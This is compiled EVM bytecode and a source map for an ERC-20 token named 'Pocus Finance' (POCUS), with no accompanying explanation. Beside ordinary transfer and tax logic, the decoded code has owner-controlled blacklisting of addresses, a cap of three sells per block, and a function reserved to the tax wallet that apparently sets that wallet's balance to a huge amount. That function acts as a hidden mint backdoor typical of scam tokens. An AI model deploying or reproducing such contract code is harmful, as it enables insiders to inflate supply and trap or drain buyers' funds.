1191f5761191f6117d7565b5060010190565b60008060006060848603121561193b57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561196657600080fd5b8151801515811461144857600080fd5b80820180821115610486576104866117d7565b81810381811115610486576104866117d7565b6000602082840312156119ae57600080fd5b8151611448816115c3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a095784516001600160a01b0316835293830193918301916001016119e4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a4757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002f8bea52a11e7490de55f3e69a7be0a91c16fa0b706e86319e918985ba7ee8b64736f6c63430008130033

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103a4578063bf474bed146103c4578063c9567bf9146103da578063d34628cc146103ef578063dd62ed3e1461040f578063ec1f3f631461045557600080fd5b8063715018a6146102f8578063751039fc1461030d5780637d1db4a5146103225780638da5cb5b146103385780638f9a55c01461036057806395d89b411461037657600080fd5b806323b872dd1161010857806323b872dd14610218578063313ce5671461023857806331c2d847146102545780633bbac5791461027457806351bc3c85146102ad57806370a08231146102c257600080fd5b806306fdde0314610150578063095ea7b3146101985780630faee56f146101c8578063109daa99146101ec57806318160ddd1461020357600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600d81526c506f6375732046696e616e636560981b60208201525b60405161018f9190611575565b60405180910390f35b3480156101a457600080fd5b506101b86101b33660046115eb565b610475565b604051901515815260200161018f565b3480156101d457600080fd5b506101de60115481565b60405190815260200161018f565b3480156101f857600080fd5b5061020161048c565b005b34801561020f57600080fd5b506101de6104fc565b34801561022457600080fd5b506101b8610233366004611617565b61051e565b34801561024457600080fd5b506040516009815260200161018f565b34801561026057600080fd5b5061020161026f36600461166e565b610587565b34801561028057600080fd5b506101b861028f366004611733565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102b957600080fd5b5061020161061d565b3480156102ce57600080fd5b506101de6102dd366004611733565b6001600160a01b031660009081526001602052604090205490565b34801561030457600080fd5b5061020161066c565b34801561031957600080fd5b506102016106e0565b34801561032e57600080fd5b506101de600e5481565b34801561034457600080fd5b506000546040516001600160a01b03909116815260200161018f565b34801561036c57600080fd5b506101de600f5481565b34801561038257600080fd5b50604080518082019091526005815264504f43555360d81b6020820152610182565b3480156103b057600080fd5b506101b86103bf3660046115eb565b610795565b3480156103d057600080fd5b506101de60105481565b3480156103e657600080fd5b506102016107a2565b3480156103fb57600080fd5b5061020161040a36600461166e565b610991565b34801561041b57600080fd5b506101de61042a366004611750565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046157600080fd5b50610201610470366004611789565b610a23565b6000610482338484610ab6565b5060015b92915050565b6000546001600160a01b031633146104bf5760405162461bcd60e51b81526004016104b6906117a2565b60405180910390fd5b6000600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b600061050a6009600a6118d1565b610519906461f313f8806118e0565b905090565b600061052b848484610bda565b61057d843361057885604051806060016040528060288152602001611a4d602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111d8565b610ab6565b5060019392505050565b6000546001600160a01b031633146105b15760405162461bcd60e51b81526004016104b6906117a2565b60005b8151811015610619576000600460008484815181106105d5576105d56118f7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106118161190d565b9150506105b4565b5050565b6016546001600160a01b0316336001600160a01b03161461063d57600080fd5b30600090815260016020526040902054801561065c5761065c81611212565b478015610619576106198161138c565b6000546001600160a01b031633146106965760405162461bcd60e51b81526004016104b6906117a2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461070a5760405162461bcd60e51b81526004016104b6906117a2565b6107166009600a6118d1565b610725906461f313f8806118e0565b600e556107346009600a6118d1565b610743906461f313f8806118e0565b600f556000600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107786009600a6118d1565b610787906461f313f8806118e0565b6040519081526020016104f2565b6000610482338484610bda565b6000546001600160a01b031633146107cc5760405162461bcd60e51b81526004016104b6906117a2565b601354600160a01b900460ff16156108265760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b6565b6012546001600160a01b031663f305d7194730610858816001600160a01b031660009081526001602052604090205490565b60008061086d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108fa9190611926565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610953573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109779190611954565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016104b6906117a2565b60005b8151811015610619576001600460008484815181106109df576109df6118f7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a1b8161190d565b9150506109be565b6016546001600160a01b0316336001600160a01b031614610a4357600080fd5b610a4f6009600a6118d1565b610a5b6009600a6118d1565b610a6a906461f313f8806118e0565b610a7491906118e0565b6016546001600160a01b03166000908152600160205260409020556007548111801590610aa357506008548111155b610aac57600080fd5b6007819055600855565b6001600160a01b038316610b185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b6565b6001600160a01b038216610b795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c3e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b6565b6001600160a01b038216610ca05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b6565b60008111610d025760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b6565b600080546001600160a01b03858116911614801590610d2f57506000546001600160a01b03848116911614155b15611095576001600160a01b03841660009081526004602052604090205460ff16158015610d7657506001600160a01b03831660009081526004602052604090205460ff16155b610d7f57600080fd5b600d54600003610db857610db56064610daf600954600d5411610da457600554610da8565b6007545b85906113c6565b9061144f565b90505b600d5415610ddd57610dda6064610daf600c54856113c690919063ffffffff16565b90505b6013546001600160a01b038581169116148015610e0857506012546001600160a01b03848116911614155b8015610e2d57506001600160a01b03831660009081526003602052604090205460ff16155b15610f3257600e54821115610e845760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b6565b600f5482610ea7856001600160a01b031660009081526001602052604090205490565b610eb19190611976565b1115610eff5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b6565b610f1a6064610daf600954600d5411610da457600554610da8565b600d80549192506000610f2c8361190d565b91905055505b6013546001600160a01b038481169116148015610f5857506001600160a01b0384163014155b15610f8d57610f826064610daf600a54600d5411610f7857600654610da8565b60085485906113c6565b9050610f8d4761138c565b30600090815260016020526040902054601354600160a81b900460ff16158015610fc457506013546001600160a01b038581169116145b8015610fd95750601354600160b01b900460ff165b8015610fe6575060105481115b8015610ff55750600b54600d54115b156110935760155443111561100a5760006014555b60036014541061105c5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104b6565b6110796110748461106f84601154611491565b611491565b611212565b601480549060006110898361190d565b9091555050436015555b505b801561110f57306000908152600160205260409020546110b590826114a6565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111069085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111329083611505565b6001600160a01b0385166000908152600160205260409020556111776111588383611505565b6001600160a01b038516600090815260016020526040902054906114a6565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c18585611505565b60405190815260200160405180910390a350505050565b600081848411156111fc5760405162461bcd60e51b81526004016104b69190611575565b5060006112098486611989565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061125a5761125a6118f7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d7919061199c565b816001815181106112ea576112ea6118f7565b6001600160a01b0392831660209182029290920101526012546113109130911684610ab6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113499085906000908690309042906004016119b9565b600060405180830381600087803b15801561136357600080fd5b505af1158015611377573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610619573d6000803e3d6000fd5b6000826000036113d857506000610486565b60006113e483856118e0565b9050826113f18583611a2a565b146114485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b6565b9392505050565b600061144883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611547565b60008183116114a05782611448565b50919050565b6000806114b38385611976565b9050838110156114485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b6565b600061144883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d8565b600081836115685760405162461bcd60e51b81526004016104b69190611575565b5060006112098486611a2a565b600060208083528351808285015260005b818110156115a257858101830151858201604001528201611586565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115d857600080fd5b50565b80356115e6816115c3565b919050565b600080604083850312156115fe57600080fd5b8235611609816115c3565b946020939093013593505050565b60008060006060848603121561162c57600080fd5b8335611637816115c3565b92506020840135611647816115c3565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561168157600080fd5b823567ffffffffffffffff8082111561169957600080fd5b818501915085601f8301126116ad57600080fd5b8135818111156116bf576116bf611658565b8060051b604051601f19603f830116810181811085821117156116e4576116e4611658565b60405291825284820192508381018501918883111561170257600080fd5b938501935b8285101561172757611718856115db565b84529385019392850192611707565b98975050505050505050565b60006020828403121561174557600080fd5b8135611448816115c3565b6000806040838503121561176357600080fd5b823561176e816115c3565b9150602083013561177e816115c3565b809150509250929050565b60006020828403121561179b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182857816000190482111561180e5761180e6117d7565b8085161561181b57918102915b93841c93908002906117f2565b509250929050565b60008261183f57506001610486565b8161184c57506000610486565b8160018114611862576002811461186c57611888565b6001915050610486565b60ff84111561187d5761187d6117d7565b50506001821b610486565b5060208310610133831016604e8410600b84101617156118ab575081810a610486565b6118b583836117ed565b80600019048211156118c9576118c96117d7565b029392505050565b600061144860ff841683611830565b8082028115828204841417610486576104866117d7565b634e487b7160e01b600052603260045260246000fd5b60006001820161191f5761191f6117d7565b5060010190565b60008060006060848603121561193b57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561196657600080fd5b8151801515811461144857600080fd5b80820180821115610486576104866117d7565b81810381811115610486576104866117d7565b6000602082840312156119ae57600080fd5b8151611448816115c3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a095784516001600160a01b0316835293830193918301916001016119e4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a4757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002f8bea52a11e7490de55f3e69a7be0a91c16fa0b706e86319e918985ba7ee8b64736f6c63430008130033

4135:8827:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6476:83;;;;;;;;;;-1:-1:-1;6546:5:0;;;;;;;;;;;;-1:-1:-1;;;6546:5:0;;;;6476:83;;;;;;;:::i;:::-;;;;;;;;7309:161;;;;;;;;;;-1:-1:-1;7309:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7309:161:0;1162:187:1;5231:54:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5231:54:0;1354:177:1;11606:119:0;;;;;;;;;;;;;:::i;:::-;;6753:95;;;;;;;;;;;;;:::i;7478:313::-;;;;;;;;;;-1:-1:-1;7478:313:0;;;;;:::i;:::-;;:::i;6662:83::-;;;;;;;;;;-1:-1:-1;6662:83:0;;4843:1;2139:36:1;;2127:2;2112:18;6662:83:0;1997:184:1;12005:162:0;;;;;;;;;;-1:-1:-1;12005:162:0;;;;;:::i;:::-;;:::i;12175:83::-;;;;;;;;;;-1:-1:-1;12175:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;12243:7:0;12222:4;12243:7;;;:4;:7;;;;;;;;;12175:83;11250:348;;;;;;;;;;;;;:::i;6856:119::-;;;;;;;;;;-1:-1:-1;6856:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6949:18:0;6922:7;6949:18;;;:9;:18;;;;;;;6856:119;3216:148;;;;;;;;;;;;;:::i;11056:186::-;;;;;;;;;;;;;:::i;5037:56::-;;;;;;;;;;;;;;;;3002:79;;;;;;;;;;-1:-1:-1;3040:7:0;3067:6;3002:79;;-1:-1:-1;;;;;3067:6:0;;;3842:51:1;;3830:2;3815:18;3002:79:0;3696:203:1;5100:58:0;;;;;;;;;;;;;;;;6567:87;;;;;;;;;;-1:-1:-1;6639:7:0;;;;;;;;;;;;-1:-1:-1;;;6639:7:0;;;;6567:87;;6983:167;;;;;;;;;;-1:-1:-1;6983:167:0;;;;;:::i;:::-;;:::i;5165:59::-;;;;;;;;;;;;;;;;12266:390;;;;;;;;;;;;;:::i;11833:164::-;;;;;;;;;;-1:-1:-1;11833:164:0;;;;;:::i;:::-;;:::i;7158:143::-;;;;;;;;;;-1:-1:-1;7158:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7266:18:0;;;7239:7;7266:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7158:143;12664:258;;;;;;;;;;-1:-1:-1;12664:258:0;;;;;:::i;:::-;;:::i;7309:161::-;7384:4;7401:39;2659:10;7424:7;7433:6;7401:8;:39::i;:::-;-1:-1:-1;7458:4:0;7309:161;;;;;:::o;11606:119::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2659:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;;;;;;;;;11679:1:::1;11664:12;:16:::0;;;11696:21:::1;::::0;1500:25:1;;;11696:21:0::1;::::0;1488:2:1;1473:18;11696:21:0::1;;;;;;;;11606:119::o:0;6753:95::-;6806:7;4901:13;4843:1;4901:2;:13;:::i;:::-;4886:28;;:12;:28;:::i;:::-;6826:14;;6753:95;:::o;7478:313::-;7576:4;7593:36;7603:6;7611:9;7622:6;7593:9;:36::i;:::-;7640:121;7649:6;2659:10;7671:89;7709:6;7671:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7671:19:0;;;;;;:11;:19;;;;;;;;2659:10;7671:33;;;;;;;;;;:37;:89::i;:::-;7640:8;:121::i;:::-;-1:-1:-1;7779:4:0;7478:313;;;;;:::o;12005:162::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2659:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;12078:6:::1;12073:87;12094:6;:13;12090:1;:17;12073:87;;;12145:5;12127:4;:15;12132:6;12139:1;12132:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12127:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12127:15:0;:23;;-1:-1:-1;;12127:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12109:3;::::1;::::0;::::1;:::i;:::-;;;;12073:87;;;;12005:162:::0;:::o;11250:348::-;11314:10;;-1:-1:-1;;;;;11314:10:0;2659;-1:-1:-1;;;;;11300:24:0;;11292:33;;;;;;11375:4;11336:20;6949:18;;;:9;:18;;;;;;11395:14;;11392:73;;11423:30;11440:12;11423:16;:30::i;:::-;11494:21;11529:12;;11526:65;;11555:24;11568:10;11555:12;:24::i;3216:148::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2659:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;3323:1:::1;3307:6:::0;;3286:40:::1;::::0;-1:-1:-1;;;;;3307:6:0;;::::1;::::0;3286:40:::1;::::0;3323:1;;3286:40:::1;3354:1;3337:19:::0;;-1:-1:-1;;;;;;3337:19:0::1;::::0;;3216:148::o;11056:186::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2659:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;4901:13:::1;4843:1;4901:2;:13;:::i;:::-;4886:28;::::0;:12:::1;:28;:::i;:::-;11109:12;:22:::0;4901:13:::1;4843:1;4901:2;:13;:::i;:::-;4886:28;::::0;:12:::1;:28;:::i;:::-;11142:14;:22:::0;11190:1:::1;11175:12;:16:::0;11207:27:::1;4901:13;4843:1;4901:2;:13;:::i;:::-;4886:28;::::0;:12:::1;:28;:::i;:::-;11207:27;::::0;1500:25:1;;;1488:2;1473:18;11207:27:0::1;1354:177:1::0;6983:167:0;7061:4;7078:42;2659:10;7102:9;7113:6;7078:9;:42::i;12266:390::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2659:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;12330:11:::1;::::0;-1:-1:-1;;;12330:11:0;::::1;;;12329:12;12321:47;;;::::0;-1:-1:-1;;;12321:47:0;;7195:2:1;12321:47:0::1;::::0;::::1;7177:21:1::0;7234:2;7214:18;;;7207:30;7273:25;7253:18;;;7246:53;7316:18;;12321:47:0::1;6993:347:1::0;12321:47:0::1;12379:15;::::0;-1:-1:-1;;;;;12379:15:0::1;:31;12418:21;12449:4;12455:24;12449:4:::0;-1:-1:-1;;;;;6949:18:0;6922:7;6949:18;;;:9;:18;;;;;;;6856:119;12455:24:::1;12480:1;12482::::0;12484:7:::1;3040::::0;3067:6;-1:-1:-1;;;;;3067:6:0;;3002:79;12484:7:::1;12379:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12379:129:0;;;-1:-1:-1;;;;;7704:15:1;;;12379:129:0::1;::::0;::::1;7686:34:1::0;7736:18;;;7729:34;;;;7779:18;;;7772:34;;;;7822:18;;;7815:34;7886:15;;;7865:19;;;7858:44;12492:15:0::1;7918:19:1::0;;;7911:35;7620:19;;12379:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12526:13:0::1;::::0;12557:15:::1;::::0;12519:71:::1;::::0;-1:-1:-1;;;12519:71:0;;-1:-1:-1;;;;;12557:15:0;;::::1;12519:71;::::0;::::1;8442:51:1::0;-1:-1:-1;;8509:18:1;;;8502:34;12526:13:0;::::1;::::0;-1:-1:-1;12519:29:0::1;::::0;8415:18:1;;12519:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12601:11:0::1;:18:::0;;-1:-1:-1;;;;12630:18:0;-1:-1:-1;;;12630:18:0;;;12266:390::o;11833:164::-;3129:6;;-1:-1:-1;;;;;3129:6:0;2659:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;11907:6:::1;11902:88;11923:5;:12;11919:1;:16;11902:88;;;11974:4;11957;:14;11962:5;11968:1;11962:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11957:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11957:14:0;:21;;-1:-1:-1;;11957:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11937:3;::::1;::::0;::::1;:::i;:::-;;;;11902:88;;12664:258:::0;12739:10;;-1:-1:-1;;;;;12739:10:0;2659;-1:-1:-1;;;;;12725:24:0;;12717:33;;;;;;5337:15;4843:1;5337:2;:15;:::i;:::-;4901:13;4843:1;4901:2;:13;:::i;:::-;4886:28;;:12;:28;:::i;:::-;5327:25;;;;:::i;:::-;12769:10;;-1:-1:-1;;;;;12769:10:0;12759:21;;;;:9;:21;;;;;:31;12816:12;;12807:21;;;;;:47;;;12841:13;;12832:7;:22;;12807:47;12799:56;;;;;;12864:12;:20;;;12893:13;:21;12664:258::o;7799:335::-;-1:-1:-1;;;;;7892:19:0;;7884:68;;;;-1:-1:-1;;;7884:68:0;;9031:2:1;7884:68:0;;;9013:21:1;9070:2;9050:18;;;9043:30;9109:34;9089:18;;;9082:62;-1:-1:-1;;;9160:18:1;;;9153:34;9204:19;;7884:68:0;8829:400:1;7884:68:0;-1:-1:-1;;;;;7971:21:0;;7963:68;;;;-1:-1:-1;;;7963:68:0;;9436:2:1;7963:68:0;;;9418:21:1;9475:2;9455:18;;;9448:30;9514:34;9494:18;;;9487:62;-1:-1:-1;;;9565:18:1;;;9558:32;9607:19;;7963:68:0;9234:398:1;7963:68:0;-1:-1:-1;;;;;8042:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8094:32;;1500:25:1;;;8094:32:0;;1473:18:1;8094:32:0;;;;;;;7799:335;;;:::o;8142:2309::-;-1:-1:-1;;;;;8230:18:0;;8222:68;;;;-1:-1:-1;;;8222:68:0;;9839:2:1;8222:68:0;;;9821:21:1;9878:2;9858:18;;;9851:30;9917:34;9897:18;;;9890:62;-1:-1:-1;;;9968:18:1;;;9961:35;10013:19;;8222:68:0;9637:401:1;8222:68:0;-1:-1:-1;;;;;8309:16:0;;8301:64;;;;-1:-1:-1;;;8301:64:0;;10245:2:1;8301:64:0;;;10227:21:1;10284:2;10264:18;;;10257:30;10323:34;10303:18;;;10296:62;-1:-1:-1;;;10374:18:1;;;10367:33;10417:19;;8301:64:0;10043:399:1;8301:64:0;8393:1;8384:6;:10;8376:64;;;;-1:-1:-1;;;8376:64:0;;10649:2:1;8376:64:0;;;10631:21:1;10688:2;10668:18;;;10661:30;10727:34;10707:18;;;10700:62;-1:-1:-1;;;10778:18:1;;;10771:39;10827:19;;8376:64:0;10447:405:1;8376:64:0;8451:17;3067:6;;-1:-1:-1;;;;;8485:15:0;;;3067:6;;8485:15;;;;:32;;-1:-1:-1;3040:7:0;3067:6;-1:-1:-1;;;;;8504:13:0;;;3067:6;;8504:13;;8485:32;8481:1614;;;-1:-1:-1;;;;;8543:10:0;;;;;;:4;:10;;;;;;;;8542:11;:24;;;;-1:-1:-1;;;;;;8558:8:0;;;;;;:4;:8;;;;;;;;8557:9;8542:24;8534:33;;;;;;8587:9;;8598:1;8587:12;8584:139;;8631:76;8703:3;8631:67;8653:15;;8643:9;;:25;8642:55;;8683:14;;8642:55;;;8670:12;;8642:55;8631:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8619:88;;8584:139;8740:9;;:11;8737:95;;8783:33;8812:3;8783:24;8794:12;;8783:6;:10;;:24;;;;:::i;:33::-;8771:45;;8737:95;8860:13;;-1:-1:-1;;;;;8852:21:0;;;8860:13;;8852:21;:55;;;;-1:-1:-1;8891:15:0;;-1:-1:-1;;;;;8877:30:0;;;8891:15;;8877:30;;8852:55;:83;;;;-1:-1:-1;;;;;;8913:22:0;;;;;;:18;:22;;;;;;;;8911:24;8852:83;8848:420;;;8975:12;;8965:6;:22;;8957:60;;;;-1:-1:-1;;;8957:60:0;;11059:2:1;8957:60:0;;;11041:21:1;11098:2;11078:18;;;11071:30;11137:27;11117:18;;;11110:55;11182:18;;8957:60:0;10857:349:1;8957:60:0;9070:14;;9060:6;9044:13;9054:2;-1:-1:-1;;;;;6949:18:0;6922:7;6949:18;;;:9;:18;;;;;;;6856:119;9044:13;:22;;;;:::i;:::-;:40;;9036:79;;;;-1:-1:-1;;;9036:79:0;;11543:2:1;9036:79:0;;;11525:21:1;11582:2;11562:18;;;11555:30;11621:28;11601:18;;;11594:56;11667:18;;9036:79:0;11341:350:1;9036:79:0;9146:76;9218:3;9146:67;9168:15;;9158:9;;:25;9157:55;;9198:14;;9157:55;;9146:76;9241:9;:11;;9134:88;;-1:-1:-1;9241:9:0;:11;;;:::i;:::-;;;;;;8848:420;9293:13;;-1:-1:-1;;;;;9287:19:0;;;9293:13;;9287:19;:43;;;;-1:-1:-1;;;;;;9310:20:0;;9325:4;9310:20;;9287:43;9284:228;;;9363:79;9438:3;9363:70;9385:16;;9375:9;;:26;9374:58;;9417:15;;9374:58;;;9403:13;;9363:6;;:10;:70::i;:79::-;9351:91;;9461:35;9474:21;9461:12;:35::i;:::-;9577:4;9528:28;6949:18;;;:9;:18;;;;;;9603:6;;-1:-1:-1;;;9603:6:0;;;;9602:7;:30;;;;-1:-1:-1;9619:13:0;;-1:-1:-1;;;;;9613:19:0;;;9619:13;;9613:19;9602:30;:45;;;;-1:-1:-1;9636:11:0;;-1:-1:-1;;;9636:11:0;;;;9602:45;:89;;;;;9674:17;;9651:20;:40;9602:89;:123;;;;;9707:18;;9695:9;;:30;9602:123;9598:486;;;9765:13;;9750:12;:28;9746:90;;;9815:1;9803:9;:13;9746:90;9874:1;9862:9;;:13;9854:49;;;;-1:-1:-1;;;9854:49:0;;11898:2:1;9854:49:0;;;11880:21:1;11937:2;11917:18;;;11910:30;11976:25;11956:18;;;11949:53;12019:18;;9854:49:0;11696:347:1;9854:49:0;9922:69;9939:51;9943:6;9951:38;9955:20;9977:11;;9951:3;:38::i;:::-;9939:3;:51::i;:::-;9922:16;:69::i;:::-;10010:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10056:12:0;10040:13;:28;9598:486;8519:1576;8481:1614;10110:11;;10107:161;;10178:4;10160:24;;;;:9;:24;;;;;;:39;;10189:9;10160:28;:39::i;:::-;10153:4;10135:24;;;;:9;:24;;;;;;;:64;;;;10217:39;;-1:-1:-1;;;;;10217:39:0;;;;;;;10246:9;1500:25:1;;1488:2;1473:18;;1354:177;10217:39:0;;;;;;;;10107:161;-1:-1:-1;;;;;10294:15:0;;;;;;:9;:15;;;;;;:27;;10314:6;10294:19;:27::i;:::-;-1:-1:-1;;;;;10278:15:0;;;;;;:9;:15;;;;;:43;10346:40;10364:21;:6;10375:9;10364:10;:21::i;:::-;-1:-1:-1;;;;;10346:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10332:13:0;;;;;;;:9;:13;;;;;:54;;;;10402:41;;;10421:21;:6;10432:9;10421:10;:21::i;:::-;10402:41;;1500:25:1;;;1488:2;1473:18;10402:41:0;;;;;;;8211:2240;8142:2309;;;:::o;1756:190::-;1842:7;1878:12;1870:6;;;;1862:29;;;;-1:-1:-1;;;1862:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1902:9:0;1914:5;1918:1;1914;:5;:::i;:::-;1902:17;1756:190;-1:-1:-1;;;;;1756:190:0:o;10565:483::-;5849:6;:13;;-1:-1:-1;;;;5849:13:0;-1:-1:-1;;;5849:13:0;;;10667:16:::1;::::0;;10681:1:::1;10667:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10667:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10667:16:0::1;10643:40;;10712:4;10694;10699:1;10694:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10694:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10738:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10738:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10694:7;;10738:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10728:4;10733:1;10728:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10728:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10803:15:::1;::::0;10771:62:::1;::::0;10788:4:::1;::::0;10803:15:::1;10821:11:::0;10771:8:::1;:62::i;:::-;10844:15;::::0;:196:::1;::::0;-1:-1:-1;;;10844:196:0;;-1:-1:-1;;;;;10844:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10925:11;;10844:15:::1;::::0;10967:4;;10994::::1;::::0;11014:15:::1;::::0;10844:196:::1;;;:::i;